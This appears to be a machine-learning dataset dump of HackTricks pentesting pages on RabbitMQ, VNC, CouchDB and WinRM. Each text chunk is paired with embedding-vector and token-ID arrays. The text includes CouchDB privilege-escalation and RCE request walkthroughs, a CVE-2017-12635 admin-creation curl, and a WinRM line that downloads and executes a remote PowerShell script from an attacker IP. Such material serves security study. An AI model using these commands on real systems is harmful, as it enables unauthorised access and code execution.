tools. learn more about how to pentest this service here. 5672, 5671 : used by amqp 0 - 9 - 1 and 1. 0 clients without and with tls15672 : http api clients, management ui and rabbitmqadmin ( only if the management plugin is enabled ). learn more about how to pentest this service here. 15674 : stomp - over - websockets clients ( only if the web stomp plugin is enabled ) 15675 : mqtt - over - websockets clients ( only if the web mqtt plugin is enabled ) 15692 : prometheus metrics ( only if the prometheus plugin is enabled ) 25672 : used for inter - node and cli tools communication ( erlang distribution server port ) and is allocated from a dynamic range ( limited to a single port by default, computed as amqp port + 20000 ). unless external connections on these ports are really necessary ( e. g. the cluster uses federation or cli tools are used on machines outside the subnet ), these ports should not be publicly exposed. see networking guide for details. only 9 of these ports opened on the internet. 35672 - 35682 : used by cli tools ( erlang distribution client ports ) for communication with nodes and is allocated from a dynamic range ( computed as server distribution port + 10000 through server distribution port + 10010 ). see networking guide for details. 61613, 61614 : stomp clients without and with tls ( only if the stomp plugin is enabled ). less than 10 devices with this port open and mostly udp for dht nodes. shodanamqpnetwork services pentesting - [SEP] | [
0.22486934065818787,
0.5741490125656128,
-0.5615031719207764,
0.7946962118148804,
-1.1824582815170288,
0.06879851222038269,
-0.3864254653453827,
0.0848521813750267,
0.39767691493034363,
0.7904423475265503,
-0.338865727186203,
0.40194734930992126,
0.11492151767015457,
-0.19775526225566864,
... | [
5906,
1012,
4553,
2062,
2055,
2129,
2000,
7279,
22199,
2023,
2326,
2182,
1012,
5179,
2581,
2475,
1010,
5179,
2581,
2487,
1024,
2109,
2011,
2572,
4160,
2361,
1014,
1011,
1023,
1011,
1015,
1998,
1015,
1012,
1014,
7846,
2302,
1998,
2007,
105... | hack_tricks | 112.txt | 1 |
[CLS] 5800, 5801, 5900, 5901 - pentesting vncbasic informationin computing, virtual network computing ( vnc ) is a graphical desktop - sharing system that uses the remote frame buffer protocol ( rfb ) to remotely control another computer. it transmits the keyboard and mouse events from one computer to another, relaying the graphical - screen updates back in the other direction, over a network. from wikipedia. vnc usually uses ports 5800 or 5801 or 5900 or 5901. port state service5900 / tcp open vncenumerationnmap - sv - - script vnc - info, realvnc - auth - bypass, vnc - title - p < port > < ip > msf > use auxiliary / scanner / vnc / vnc _ none _ authbrute forceconnect to vnc using kalivncviewer [ - passwd passwd. txt ] < ip > : : 5901decrypting vnc passworddefault password is stored in : ~ /. vnc / passwdif you have the vnc password and it looks encrypted ( a few bytes, like if it could be and encrypted password ). it is probably ciphered with 3des. you can get the clear text password using url < vnc password file > you can do this because the password used inside 3des to encrypt the plain - text vnc passwords was reversed years ago. for windows you can also use this tool : url i save the tool here also for ease of access : vncpwd. zip34kbbinaryshodanport : 5900 rfbnetwork services pentesting - [SEP] | [
0.14057186245918274,
-0.15906357765197754,
-0.10308942943811417,
0.8185300827026367,
-0.0235300250351429,
-0.5307067632675171,
-0.2867373526096344,
-0.19192418456077576,
-0.22222541272640228,
0.984440803527832,
-0.015539414249360561,
-0.07867677509784698,
0.16830159723758698,
-0.8812522292... | [
101,
23712,
2692,
1010,
23712,
2487,
1010,
25186,
2692,
1010,
25186,
2487,
1011,
7279,
22199,
2075,
1058,
12273,
22083,
2594,
2592,
2378,
9798,
1010,
7484,
2897,
9798,
1006,
1058,
12273,
1007,
2003,
1037,
20477,
15363,
1011,
6631,
2291,
200... | hack_tricks | 113.txt | 0 |
[CLS] 5984, 6984 - pentesting couchdbbasic informationcouchdb is a document - oriented database and within each document fields are stored as key - value maps. fields can be either a simple key / value pair, list, or map. each document that is stored in the database is given a document - level unique identifier ( _ id ) as well as a revision ( _ rev ) number for each change that is made and saved to the database. default port : 5984 ( http ), 6984 ( https ) port state service reason5984 / tcp open unknown syn - ackautomatic enumerationnmap - sv - - script couchdb - databases, couchdb - stats - p < port > < ip > msf > use auxiliary / scanner / couchdb / couchdb _ enummanual enumerationbannercurl url issues a get request to installed couchdb instance. the reply should look something like on of the following : { " couchdb " : " welcome ", " version " : " 0. 10. 1 " } { " couchdb " : " welcome ", " version " : " 2. 0. 0 ", " vendor " : { " name " : " the apache software foundation " } } note that if accessing the root of couchdb you receive a 401 unauthorized with something like this : { " error " : " unauthorized ", " reason " : " authentication required. " } you won't be able to access the banner or any other endpoint. info enumerationthese are the endpoints where you can access with a get request and extract some interesting info. you can find more endpoints and more detailed descriptions in the couchdb documentation. / _ active _ tasks list of running tasks, including the task type, name, status and process id. * * / _ all _ dbs * * returns a list of all the databases in the couchdb instance. * * / _ cluster _ setup * * returns the status of the node or cluster, per the cluster setup wizard. / _ db _ updates returns a list of all database events in the couchdb instance. the existence of the _ global _ changes database is required to use this endpoint. / _ membership displays the nodes that are part of the cluster as cluster _ nodes. the field all _ nodes displays all nodes this node knows about, including the ones that are part of the cluster. / _ schedule | [
-0.4977235794067383,
-0.43573060631752014,
-0.16661860048770905,
0.4062827527523041,
0.06134895980358124,
0.10511406511068344,
-0.07839379459619522,
-0.021853838115930557,
-0.20263877511024475,
1.1995161771774292,
0.037499137222766876,
0.18952122330665588,
0.5508288741111755,
-0.2919503450... | [
101,
5354,
2620,
2549,
1010,
6353,
2620,
2549,
1011,
7279,
22199,
2075,
6411,
18939,
22083,
2594,
2592,
3597,
10875,
18939,
2003,
1037,
6254,
1011,
8048,
7809,
1998,
2306,
2169,
6254,
4249,
2024,
8250,
2004,
3145,
1011,
3643,
7341,
1012,
... | hack_tricks | 114.txt | 0 |
##r / jobs list of replication jobs. each job description will include source and target information, replication id, a history of recent event, and a few other things. / _ scheduler / docs list of replication document states. includes information about all the documents, even in completed and failed states. for each document it returns the document id, the database, the replication id, source and target, and other information. / _ scheduler / docs / { replicator _ db } / _ scheduler / docs / { replicator _ db } / { docid } / _ node / { node - name } the / _ node / { node - name } endpoint can be used to confirm the erlang node name of the server that processes the request. this is most useful when accessing / _ node / _ local to retrieve this information. / _ node / { node - name } / _ stats the _ stats resource returns a json object containing the statistics for the running server. the literal string _ local serves as an alias for the local node name, so for all stats urls, { node - name } may be replaced with _ local, to interact with the local node ’ s statistics. / _ node / { node - name } / _ system the _ systemresource returns a json object containing various system - level statistics for the running server _. _ you can use _ _ _ local as { node - name } to get current node info. / _ node / { node - name } / _ restart / _ up confirms that the server is up, running, and ready to respond to requests. if maintenance _ mode is true or nolb, the endpoint will return a 404 response. * * / _ uuids * * requests one or more universally unique identifiers ( uuids ) from the couchdb instance. * * / _ reshard * * returns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster. more interesting information can be extracted as explained here : url listcurl - x get url that request responds with a 401 unauthorised, then you need some valid credentials to access the database : curl - x get url order to find valid credentials you could try to bruteforce the service. this is an example of a couchdb response when you have enough privileges to list databases ( it's just a list of dbs ) : [ " _ global _ | [
0.49435919523239136,
-0.271858274936676,
-0.8327946662902832,
0.6716374158859253,
-0.3811308741569519,
-0.29203182458877563,
-0.7304697632789612,
0.2308148443698883,
0.28776296973228455,
0.9530746340751648,
0.2075396478176117,
-0.4621693789958954,
0.40829455852508545,
-0.05453170835971832,... | [
2099,
1013,
5841,
2862,
1997,
21647,
5841,
1012,
2169,
3105,
6412,
2097,
2421,
3120,
1998,
4539,
2592,
1010,
21647,
8909,
1010,
1037,
2381,
1997,
3522,
2724,
1010,
1998,
1037,
2261,
2060,
2477,
1012,
1013,
1035,
6134,
2099,
1013,
9986,
20... | hack_tricks | 114.txt | 1 |
changes ", " _ metadata ", " _ replicator ", " _ users ", " passwords ", " simpsons " ] database infoyou can obtain some database info ( like number of files and sizes ) accessing the database name : curl url url response : { " db _ name " : " simpsons ", " update _ seq " : " 7 - g1aaaaftejzlywbg4mhgtmeqtm4vtc5isxliyu9ozmnily7jauoxjtikyf _ _ _ z8rkqmpoiqfijlkd1bhje - da0hdpfgdaz51csb19wb1jhju5beasyygiavuop8ytqsgavfjtx - i9gbe7x1i1d6aqax5kwsa2vvvnq ", " sizes " : { " file " : 62767, " external " : 1320, " active " : 2466 }, " purge _ seq " : 0, " other " : { " data _ size " : 1320 }, " doc _ del _ count " : 0, " doc _ count " : 7, " disk _ size " : 62767, " disk _ format _ version " : 6, " data _ size " : 2466, " compact _ running " : false, " instance _ start _ time " : " 0 " } document listlist each entry inside a databasecurl - x get url url response : { " total _ rows " : 7, " offset " : 0, " rows " : [ { " id " : " f0042ac3dc4951b51f056467a1000dd9 ", " key " : " f0042ac3dc4951b51f056467a1000dd9 ", " value " : { " rev " : " 1 - fbdd816a5b0db0f30cf1fc38e1a37329 " } }, { " id " : " f53679a526a868d44172c83a61000d86 ", " key " : " f53679a526a868d44172c83a61000d86 ", | [
-0.11770456284284592,
-0.5936499238014221,
-0.3327735960483551,
-0.03756454959511757,
-0.01766648143529892,
0.031284887343645096,
-0.4540935456752777,
0.3661814033985138,
0.07324370741844177,
0.6723871231079102,
0.2519950270652771,
-0.8448166251182556,
0.25517702102661133,
-0.3659431040287... | [
3431,
1000,
1010,
1000,
1035,
27425,
1000,
1010,
1000,
1035,
15059,
4263,
1000,
1010,
1000,
1035,
5198,
1000,
1010,
1000,
20786,
2015,
1000,
1010,
1000,
19047,
1000,
1033,
7809,
18558,
29337,
2064,
6855,
2070,
7809,
18558,
1006,
2066,
2193,... | hack_tricks | 114.txt | 2 |
" value " : { " rev " : " 1 - 7b8ec9e1c3e29b2a826e3d14ea122f6e " } }, { " id " : " f53679a526a868d44172c83a6100183d ", " key " : " f53679a526a868d44172c83a6100183d ", " value " : { " rev " : " 1 - e522ebc6aca87013a89dd4b37b762bd3 " } }, { " id " : " f53679a526a868d44172c83a61002980 ", " key " : " f53679a526a868d44172c83a61002980 ", " value " : { " rev " : " 1 - 3bec18e3b8b2c41797ea9d61a01c7cdc " } }, { " id " : " f53679a526a868d44172c83a61003068 ", " key " : " f53679a526a868d44172c83a61003068 ", " value " : { " rev " : " 1 - 3d2f7da6bd52442e4598f25cc2e84540 " } }, { " id " : " f53679a526a868d44172c83a61003a2a ", " key " : " f53679a526a868d44172c83a61003a2a ", " value " : { " rev " : " 1 - 4446bfc0826ed3d81c9115e450844fb4 " } }, { " id " : " f53679a526a868d44172c83a6100451b ", " key " : " f53679a526a868d44172c83a6100451b " | [
0.09936114400625229,
-0.09091103821992874,
-0.28433120250701904,
0.615554928779602,
-0.19801776111125946,
-0.5593763589859009,
-0.8252109289169312,
0.17054599523544312,
0.3932454586029053,
0.9509224891662598,
0.6887884140014648,
0.12870201468467712,
0.569249153137207,
-0.6601667404174805,
... | [
1000,
3643,
1000,
1024,
1063,
1000,
7065,
1000,
1024,
1000,
1015,
1011,
1021,
2497,
2620,
8586,
2683,
2063,
2487,
2278,
2509,
2063,
24594,
2497,
2475,
2050,
2620,
23833,
2063,
29097,
16932,
5243,
12521,
2475,
2546,
2575,
2063,
1000,
1065,
... | hack_tricks | 114.txt | 3 |
, " value " : { " rev " : " 1 - 3f6141f3aba11da1d65ff0c13fe6fd39 " } } ] } read documentread the content of a document inside a database : curl - x get url url response : { " _ id " : " f0042ac3dc4951b51f056467a1000dd9 ", " _ rev " : " 1 - fbdd816a5b0db0f30cf1fc38e1a37329 ", " character " : " homer ", " quote " : " doh! " } couchdb privilege escalation cve - 2017 - 12635thanks to the differences between erlang and javascript json parsers you could create an admin user with credentials hacktricks : hacktricks with the following request : curl - x put - d'{ " type " : " user ", " name " : " hacktricks ", " roles " : [ " _ admin " ], " roles " : [ ], " password " : " hacktricks " }'localhost : 5984 / _ users / org. couchdb. user : hacktricks - h " content - type : application / json " more information about this vuln here. couchdb rceerlang cookiein the couchdb docs, in the cluster set - up section, it talks about the different ports used by couchdb : couchdb in cluster mode uses the port 5984 just as standalone, but it also uses 5986 for node - local apis. erlang uses tcp port 4369 ( epmd ) to find other nodes, so all servers must be able to speak to each other on this port. in an erlang cluster, all nodes are connected to all other nodes. a mesh. and then there ’ s an interesting warning : 1536931232858if we look in the process list, we can see that cookie, “ monster ” : www - data @ canape : / $ ps aux | grep couchdbroot 744 0. 0 0. 0 4240 640? ss sep13 0 : 00 runsv couchdbroot 811 0. 0 0. 0 4384 800? s sep13 0 : 00 svlogd - tt / var / log / couchdbhomer 81 | [
0.273794949054718,
-0.5735118985176086,
-0.7212803959846497,
0.5522231459617615,
-0.29626426100730896,
-0.3337487578392029,
-0.14236518740653992,
-0.025463281199336052,
0.22321735322475433,
0.5724828839302063,
-0.3454749584197998,
-0.01825677417218685,
0.41836023330688477,
-0.6928116679191... | [
1010,
1000,
3643,
1000,
1024,
1063,
1000,
7065,
1000,
1024,
1000,
1015,
1011,
1017,
2546,
2575,
16932,
2487,
2546,
2509,
19736,
14526,
2850,
2487,
2094,
26187,
4246,
2692,
2278,
17134,
7959,
2575,
2546,
2094,
23499,
1000,
1065,
1065,
1033,
... | hack_tricks | 114.txt | 4 |
##5 0. 4 3. 4 649348 34524? sl sep13 5 : 33 / home / homer / bin /.. / erts - 7. 3 / bin / beam - k true - a 16 - bd - - - root / home / homer / byou can read this section to learn how to abuse erlangs cookies to obtain rce. also, you can read some canape htb machine writeup like this one to see and practice how to exploit this vuln. successful cve - 2018 - 8007 with local. ini write permissionsin writing this post, i found a new cve had been released for couchdb from mdsec, cve - 2018 - 8007. it also requires writes to the local. ini file, so it isn ’ t a useful option for canape. but since i ’ ve already made it writable as root, let ’ s see if we can get it to work. start with a clean and now writable local. ini ( and a backup ) : root @ canape : / home / homer / etc # ls - ltotal 40 - r - - r - - r - - 1 homer homer 18477 jan 20 2018 default. ini - rw - rw - rw - 1 homer homer 4841 sep 14 17 : 39 local. ini - r - - r - - r - - 1 root root 4841 sep 14 14 : 30 local. ini. bk - r - - r - - r - - 1 homer homer 1345 jan 14 2018 vm. argswe can use curl to modify the origins in the local. ini file. the vulnerability here is that if we use curl to put a new origin and then newlines, we can write additional stuff, including a new header and details. so we ’ ll take advantage of the [ os _ daemons ] field, and add a process for couchdb to try to keep running : www - data @ canape : / dev / shm $ curl - x put'http : / / 0xdf : df @ localhost : 5984 / _ node / couchdb @ localhost / _ config / cors / origins'- h " accept : application / json " - h " content - type : application / json " - d " 0xdf \ n \ n [ os _ daemons ] \ ntestdaemon = / us | [
0.19246412813663483,
0.23139895498752594,
-0.4460676908493042,
0.31559813022613525,
-0.009702611714601517,
0.03243323042988777,
-0.565121054649353,
0.20434296131134033,
0.23392528295516968,
0.7678275108337402,
-0.27692335844039917,
0.17632454633712769,
0.640856921672821,
-0.718010962009429... | [
2629,
1014,
1012,
1018,
1017,
1012,
1018,
4185,
2683,
22022,
2620,
23785,
18827,
1029,
22889,
19802,
17134,
1019,
1024,
3943,
1013,
2188,
1013,
11525,
1013,
8026,
1013,
1012,
1012,
1013,
9413,
3215,
1011,
1021,
1012,
1017,
1013,
8026,
1013,... | hack_tricks | 114.txt | 5 |
##r / bin / touch / tmp / 0xdf " in the root shell, we can see what changes : root @ canape : / home / homer / etc # diff local. ini local. ini. bk119, 124d118 < < [ cors ] < origins = 0xdf < < [ os _ daemons ] < test _ daemon = / usr / bin / touch / tmp / 0xdfand yet, the file isn ’ t there : root @ canape : / home / homer / etc # ls / tmp / 0xdfls : cannot access'/ tmp / 0xdf': no such file or directoryif we look at the processes running with “ couchdb ” in the cmdline, we see not only the line command line that gives us the cookie value we used earlier, but also runsrv couchdb : root @ canape : / home / homer / bin # ps aux | grep couchroot 711 0. 0 0. 0 4240 696? ss 14 : 28 0 : 00 runsv couchdbroot 728 0. 0 0. 0 4384 812? s 14 : 28 0 : 00 svlogd - tt / var / log / couchdbhomer 1785 0. 8 3. 1 638992 31248? sl 17 : 55 0 : 01 / home / homer / bin /.. / erts - 7. 3 / bin / beam - k true - a 16 - bd - - - root / home / homer / bin /.. - progname couchdb - - - home / home / homer - - - boot / home / homer / bin /.. / releases / 2. 0. 0 / couchdb - name couchdb @ localhost - setcookie monster - kernel error _ logger silent - sasl sasl _ error _ logger false - noshell - noinput - config / home / homer / bin /.. / releases / 2. 0. 0 / sys. configif we kill that process, it comes right back ( notice the new pid ) : root @ canape : / home / homer / etc # kill 711root @ canape : / home / homer / etc # ps aux | grep runsrvroot 2031 0. 0 0. 0 14224 980 pts / 2 s + 18 : 09 | [
-0.0422530435025692,
-0.09651514887809753,
-0.4633382558822632,
0.8853564858436584,
-0.10756342113018036,
-0.29207727313041687,
-0.14966551959514618,
0.29268181324005127,
0.5357092022895813,
0.9573710560798645,
0.17119568586349487,
-0.01728779450058937,
0.7292346358299255,
-0.4478995203971... | [
2099,
1013,
8026,
1013,
3543,
1013,
1056,
8737,
1013,
1014,
2595,
20952,
1000,
1999,
1996,
7117,
5806,
1010,
2057,
2064,
2156,
2054,
3431,
1024,
7117,
1030,
2064,
24065,
1024,
1013,
2188,
1013,
11525,
1013,
4385,
1001,
4487,
4246,
2334,
1... | hack_tricks | 114.txt | 6 |
0 : 00 grep - - color = auto runsrvand, on restart, runs the os _ daemons : root @ canape : / home / homer / etc # ls / tmp / 0xdf / tmp / 0xdfsuccessful attempt via cve - 2017 - 12636 with local. ini write permissionscve - 2017 - 12636 allows for code execution through the couchdb process. however, it won ’ t work in this configuration. there are a few pocs out there as reference : https : / / raw. githubusercontent. com / vulhub / vulhub / master / couchdb / cve - 2017 - 12636 / exp. pyhttps : / / www. exploit - db. com / exploits / 44913 / we ’ d need to write a new query _ server, and then invoke that. when canape was released, most of the pocs were for couchdb 1. x, but this box is running 2, so the query _ servers path from most of the pocs doesn ’ t exist. that ’ s changed now, but we ’ ll walk the same steps. first, get the version, and show that the 1. x path doesn ’ t exist : www - data @ canape : / var / www / git $ curl url apache software foundation " } } www - data @ canape : / var / www / git $ curl url does not exist. " } update with the new path for 2. 0 : www - data @ canape : / var / www / git $ curl'http : / / 0xdf : df @ localhost : 5984 / _ membership'{ " all _ nodes " : [ " couchdb @ localhost " ], " cluster _ nodes " : [ " couchdb @ localhost " ] } www - data @ canape : / var / www / git $ curl url. / share / server / main - coffee. js ", " javascript " : ". / bin / couchjs. / share / server / main. js " } from there, we should add a query _ server and then invoke it, but we aren ’ t able to. www - data @ canape : / var / www / git $ curl - x put'http : / / 0xdf : | [
0.28049418330192566,
-0.49024733901023865,
-0.624008059501648,
0.5472257733345032,
0.24554644525051117,
0.19060268998146057,
-0.4826944172382355,
0.24829992651939392,
0.1416395753622055,
0.8178353905677795,
-0.23263685405254364,
0.05326871573925018,
0.6650587916374207,
0.048587240278720856... | [
1014,
1024,
4002,
24665,
13699,
1011,
1011,
3609,
1027,
8285,
3216,
19146,
4859,
1010,
2006,
23818,
1010,
3216,
1996,
9808,
1035,
12828,
2015,
1024,
7117,
1030,
2064,
24065,
1024,
1013,
2188,
1013,
11525,
1013,
4385,
1001,
1048,
2015,
1013,... | hack_tricks | 114.txt | 7 |
df @ localhost : 5984 / _ node / couchdb @ localhost / _ config / query _ servers / cmd'- d'" / sbin / ifconfig > / tmp / df "'{ " error " : " badmatch ", " reason " : " { badrpc, {'exit ', { { { badmatch, { error, eacces } }, \ n [ { config _ writer, save _ to _ file, 2, \ n [ { file, \ " src / config _ writer. erl \ " }, { line, 38 } ] }, \ n { config, handle _ call, 3, [ { file, \ " src / config. erl \ " }, { line, 222 } ] }, \ n { gen _ server, try _ handle _ call, 4, \ n [ { file, \ " gen _ server. erl \ " }, { line, 629 } ] }, \ n { gen _ server, handle _ msg, 5, \ n [ { file, \ " gen _ server. erl \ " }, { line, 661 } ] }, \ n { proc _ lib, init _ p _ do _ apply, 3, \ n [ { file, \ " proc _ lib. erl \ " }, { line, 240 } ] } ] }, \ n { gen _ server, call, \ n [ config, \ n { set, \ " query _ servers \ ", \ " cmd \ ", \ n \ " / sbin / ifconfig > / tmp / df \ ", true, nil } ] } } } } ", " ref " : 1617834159 } some googling shows that this is an issue with permissions. in fact, if we check with out root shell, we can see that the local. ini file is not writable by anyone, let alone www - data : root @ canape : / home / home / etc # ls - ls local. ini8 - r - - r - - r - - 1 homer homer 4841 sep 14 17 : 11 local. iniso that ’ s a dead end for canape. but if we want to try to get it working | [
0.9260793924331665,
-0.2562466263771057,
-0.1696375459432602,
0.9787595272064209,
-0.287476122379303,
-0.2381550818681717,
-0.7305905222892761,
0.26856690645217896,
0.7042340636253357,
0.28580811619758606,
0.19012168049812317,
0.23949545621871948,
0.7464718222618103,
-0.3189559578895569,
... | [
1040,
2546,
1030,
2334,
15006,
2102,
1024,
5354,
2620,
2549,
1013,
1035,
13045,
1013,
6411,
18939,
1030,
2334,
15006,
2102,
1013,
1035,
9530,
8873,
2290,
1013,
23032,
1035,
14903,
1013,
4642,
2094,
1005,
1011,
1040,
1005,
1000,
1013,
24829,... | hack_tricks | 114.txt | 8 |
, we can make it readable with our root or homer access, and continue down this path. we ’ ll make a backup of the original so we can see what changes : root @ canape : / # cp / home / homer / etc / local. ini / home / homer / etc / local. ini. broot @ canape : / # chmod 666 / home / homer / etc / local. ininow, back to our www - data shell : www - data @ canape : / dev / shm $ curl - x put'http : / / 0xdf : df @ localhost : 5984 / _ node / couchdb @ localhost / _ config / query _ servers / cmd'- d'" / sbin / ifconfig > / tmp / df "'" " www - data @ canape : / dev / shm $ curl - x put'http : / / 0xdf : df @ localhost : 5984 / _ node / couchdb @ localhost / _ config / query _ servers / cmd'- d'" / sbin / ifconfig > / tmp / df "'" " we get back the previous value for the cmd query server, which means success. and in the root shell, we can see it worked : root @ canape : / home / homer / etc # diff local. ini local. ini. bk48c48 < cmd = / sbin / ifconfig > / tmp / df - - - > cmd = now, we should be able to create a db, and then a document in that db, and the request it with a view that maps our query _ server to get execution. create db and document : www - data @ canape : / dev / shm $ curl'http : / / 0xdf : df @ localhost : 5984 / _ all _ dbs'[ " _ global _ changes ", " _ metadata ", " _ replicator ", " _ users ", " god ", " passwords ", " simpsons ", " vultest " ] www - data @ canape : / dev / shm $ curl - x put'http : / / 0xdf : df @ localhost : 5984 / df'{ | [
0.7064213156700134,
-0.2600734531879425,
-0.44477352499961853,
0.267054945230484,
-0.34329310059547424,
0.26264670491218567,
-0.3116474747657776,
0.15015073120594025,
0.7443239688873291,
0.9173346757888794,
0.08241154253482819,
0.035318464040756226,
0.6244757771492004,
-0.09689585119485855... | [
1010,
2057,
2064,
2191,
2009,
3191,
3085,
2007,
2256,
7117,
2030,
11525,
3229,
1010,
1998,
3613,
2091,
2023,
4130,
1012,
2057,
1521,
2222,
2191,
1037,
10200,
1997,
1996,
2434,
2061,
2057,
2064,
2156,
2054,
3431,
1024,
7117,
1030,
2064,
24... | hack_tricks | 114.txt | 9 |
" ok " : true } www - data @ canape : / dev / shm $ curl'http : / / 0xdf : df @ localhost : 5984 / _ all _ dbs'[ " _ global _ changes ", " _ metadata ", " _ replicator ", " _ users ", " df ", " passwords ", " simpsons " ] www - data @ canape : / dev / shm $ curl - x put'http : / / 0xdf : df @ localhost : 5984 / df / zero'- d'{ " _ id " : " htp " }'{ " ok " : true, " id " : " zero ", " rev " : " 1 - 967a00dff5e02add41819138abb3284d " } www - data @ canape : / dev / shm $ curl'http : / / 0xdf : df @ localhost : 5984 / _ all _ dbs'[ " _ global _ changes ", " _ metadata ", " _ replicator ", " _ users ", " god ", " passwords ", " simpsons ", " vultest " ] www - data @ canape : / dev / shm $ curl - x put'http : / / 0xdf : df @ localhost : 5984 / df'{ " ok " : true } www - data @ canape : / dev / shm $ curl'http : / / 0xdf : df @ localhost : 5984 / _ all _ dbs'[ " _ global _ changes ", " _ metadata ", " _ replicator ", " _ users ", " df ", " passwords ", " simpsons " ] www - data @ canape : / dev / shm $ curl - x put'http : / / 0xdf : df @ localhost : 5984 / df / zero'- d'{ " _ id " : " htp " }'{ " ok " : true, " id " : " zero ", " rev " : " 1 - 967a00dff5e02add41819138abb3284d " } request it in a view : www - data @ canape | [
0.9109861254692078,
0.0037559890188276768,
-0.2335672676563263,
0.2247101217508316,
-0.24019527435302734,
-0.05902564898133278,
-0.33361271023750305,
0.36739858984947205,
1.05730140209198,
1.0462419986724854,
0.2782619297504425,
0.04191439971327782,
0.7540618777275085,
-0.3072662651538849,... | [
1000,
7929,
1000,
1024,
2995,
1065,
7479,
1011,
2951,
1030,
2064,
24065,
1024,
1013,
16475,
1013,
14021,
2213,
1002,
15390,
1005,
8299,
1024,
1013,
1013,
1014,
2595,
20952,
1024,
1040,
2546,
1030,
2334,
15006,
2102,
1024,
5354,
2620,
2549,
... | hack_tricks | 114.txt | 10 |
: / dev / shm $ curl - x put'http : / / 0xdf : df @ localhost : 5984 / df / _ design / zero'- d'{ " _ id " : " _ design / zero ", " views " : { " anything " : { " map " : " " } }, " language " : " cmd " }'- h " content - type : application / json " summary with a different payloadshodanport : 5984 couchdb [SEP] | [
-0.3643643260002136,
0.44045156240463257,
-0.1963900625705719,
0.018006818369030952,
-1.09688138961792,
-0.03526393324136734,
0.16208487749099731,
-0.024570457637310028,
0.356614887714386,
0.9723876118659973,
0.705388069152832,
0.31041833758354187,
0.7629226446151733,
-0.31553465127944946,... | [
1024,
1013,
16475,
1013,
14021,
2213,
1002,
15390,
1011,
1060,
2404,
1005,
8299,
1024,
1013,
1013,
1014,
2595,
20952,
1024,
1040,
2546,
1030,
2334,
15006,
2102,
1024,
5354,
2620,
2549,
1013,
1040,
2546,
1013,
1035,
2640,
1013,
5717,
1005,
... | hack_tricks | 114.txt | 11 |
[CLS] 5985, 5986 - pentesting winrmhackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofwinrmwindows remote management ( winrm ) is a microsoft protocol that allows remote management of windows machines over http ( s ) using soap. on the backend it's utilising wmi, so you can think of it as an http based api for wmi. if winrm is enabled on the machine, it's trivial to remotely administer the machine from powershell. in fact, you can just drop in to a remote powershell session on the machine ( as if you were using ssh! ) the easiest way to detect whether winrm is available is by seeing if the port is opened. winrm will listen on one of two ports : 5985 / tcp ( http ) 5986 / tcp ( https ) if one of these ports is open, winrm is configured and you can try entering a remote session. initiating winrm session. we can configure powershell to work with winrm. according to microsoft documentation, enable - psremoting is a cmdlet that configures the computer to receive powershell remote commands. if we have access to an elevated powershell prompt on the victim, we cam enable it and add any " attackers " as trusted hosts. we can run the following two commands : enable - psremoting - force set - item wsman : \ localhost \ client \ trustedhosts * this adds a wildcard to the trustedhosts setting. be wary of what that entails. note : i also had to change the network type on my attack machine from " public " to " work " network. you can also activate winrm remotely * * _ using _ wmic : wmic / node : < remote _ host > process call create " powershell enable - psremoting - force " test if configuredonce the attack machine is configured, use the test - wsman function to test whether the target is configured for winrm. you should see some information returned about the protocol version and wsmid : in this case the first one is configured and the second isn't. execute a commandnow we can use powershell's invoke - command to remotely execute a command on the target over winrm. to remotely run ipconfig and see the output : invoke - command - computername computer - name. domain. tld - | [
-0.053108736872673035,
-0.16651244461536407,
-0.4422101080417633,
-0.22408482432365417,
-0.1801232397556305,
0.18196533620357513,
-0.49405673146247864,
0.23381307721138,
-0.18043383955955505,
0.11835137009620667,
0.1985243409872055,
-0.09080960601568222,
0.20379534363746643,
-0.19771972298... | [
101,
5354,
27531,
1010,
5354,
20842,
1011,
7279,
22199,
2075,
2663,
10867,
3270,
19766,
18907,
2003,
2188,
2000,
2035,
19888,
2080,
11829,
8945,
16671,
3111,
1012,
2131,
14610,
2302,
14350,
20578,
2368,
18907,
10105,
10867,
11101,
15568,
6556... | hack_tricks | 115.txt | 0 |
scriptblock { ipconfig / all } [ - credential domain \ username ] you can also execute a command of your current ps console via invoke - command. suppose that you have locally a function called enumeration and you want to execute it in a remote computer, you can do : invoke - command - computername < computername > - scriptblock $ { function : enumeration } [ - argumentlist " arguments " ] execute a scriptinvoke - command - computername < computername > - filepath c : \ path \ to \ script \ file [ - credential cscou \ jarrieta ] get reverse - shellinvoke - command - computername < computername > - scriptblock { cmd / c " powershell - ep bypass iex ( new - object net. webclient ). downloadstring ('http : / / 10. 10. 10. 10 : 8080 / ipst. ps1') " } get a ps sessionor, if you want to drop right into an interactive powershell session, use the enter - pssession function : # if you need to use different creds $ password = convertto - securestring'stud41password @ 123'- asplaintext - force # # note the ". \ " in the suername to indicate it's a local user ( host domain ) $ creds2 = new - object system. management. automation. pscredential ( ". \ student41 ", $ password ) # enterenter - pssession - computername dcorp - adminsrv. dollarcorp. moneycorp. local [ - credential username ] # # bypass proxyenter - pssession - computername 1. 1. 1. 1 - credential $ creds - sessionoption ( new - pssessionoption - proxyaccesstype noproxyserver ) # save session in var $ sess = new - pssession - computername 1. 1. 1. 1 - credential $ creds - sessionoption ( new - pssessionoption - proxyaccesstype noproxyserver ) enter - pssession $ sess # # background current ps sessionexit - pssession # this will leave it in background if it's inside an env var ( new - pssession... | [
0.018242286518216133,
-0.31349965929985046,
-0.25020357966423035,
0.7840684056282043,
-0.4093104302883148,
-0.026805153116583824,
-0.29131850600242615,
0.41306790709495544,
0.7855044007301331,
0.5918691754341125,
0.6176867485046387,
0.2832818031311035,
0.3249782919883728,
-0.38787138462066... | [
5896,
23467,
1063,
12997,
8663,
8873,
2290,
1013,
2035,
1065,
1031,
1011,
13675,
14728,
19909,
5884,
1032,
5310,
18442,
1033,
2017,
2064,
2036,
15389,
1037,
3094,
1997,
2115,
2783,
8827,
10122,
3081,
1999,
6767,
3489,
1011,
3094,
1012,
6814... | hack_tricks | 115.txt | 1 |
